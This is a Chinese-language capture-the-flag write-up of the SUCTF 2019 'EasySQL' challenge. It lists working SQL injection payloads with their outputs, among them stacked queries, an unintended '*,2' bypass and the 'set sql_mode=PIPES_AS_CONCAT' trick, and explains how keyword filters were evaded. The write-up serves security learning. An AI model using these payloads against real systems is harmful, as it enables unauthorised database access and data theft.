[SUCTF 2019]EasySQL
照旧,一边做一边写。
开题
payload :1
返回: Array ( [0] => 1 )
payload:1,2,3,4
返回: Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 1 )
可以看出有个规律,最后一位不会正常显示但前面可以显示。于是:
payload:database(),2
返回: Array ( [0] => ctf [1] => 1 )
payload:1;show databases;#
返回:Array ( [0] => 1 ) Array ( [0] => ctf ) Array ( [0] => ctftraining ) Array ( [0] => information_schema ) Array ( [0] => mysql ) Array ( [0] => performance_schema ) Array ( [0] => test )
有可能是目标的数据库:ctf ,ctftraining ,test
payload:1;show tables;#
返回: Array ( [0] => 1 ) Array ( [0] => Flag )
payload:1;select * from Flag;#
返回: Nonono.
然后确认了一下过滤了Flag和from,但没过捋select。
随后的一系列尝试发现过滤了handler,PREPARE。
也就是说,handler不能用了,而如果我要用预处理的话,需要有能代替prepare的方法。
而且from也不能出现。
梳理一下思路,根据当前的情况推测语句的模样,因为可以用1,2,3这种方式返回123,说明我们传的参数是在select的位置。而根据tables和database的结果得知我们当前查询的就是Flag表,也就是语句形态为:
```select [payload] from Flag;```
?????那我岂不是传个*,2就能拿到flag了。
flag{cbde499c-466b-40f4-96b0-a58712f293f9}
( ゚∀。)整乐了。
是个Bug
翻看了write up,得知我的方式根本没达到训练效果。这超预期的解法在比赛当时也出现了,有的说是因为源码泄露知道的,有的是像我这样试出来的。
这样讲的话我其实应该在第二次传payload的时候就应该发现这个问题。
脑子太死怎么办?在线等。
看write up
找了几个writeup,我看的writeup说的很简单,就一句话就完事了:
1;set sql_mode=PIPES_AS_CONCAT;select 1
看着有点难以理解。实际问题在于为什么要用中间那个语句。
想到在上文中有一个比较奇怪的地方没有提及,那就是无论查什么,最后一个数据返回的都是1。
验证了一下,这实际上符合‘OR’运算的规律:
select 'xxx' or 0; //结果:0
select 'xxx' or 1; //结果:1
select 1 or 0; //结果:1
可以看出,两个操作数里,0和非数值为假,1为真。所以我们大致可以判断出题目真正的语句是这样的:
select ['param'] OR ?? from Flag
由于我们如果传入0,也会返回0,所以??位置要么是0要么是字符串。在本题中,??的地方是字段名flag,也就是说通过payload里的语句将||功能从‘or’运算改成了连接字符串,如此就会使每次查询中将flag一并查出。
根据答案,可以猜想这道题真正的意思是想让玩家通过发现规律想到存在or运算,并猜测or运算是由||代替的。从而能尝试用修改||功能的方法得到flag。如果这个猜想正确,那真题可真刁钻。。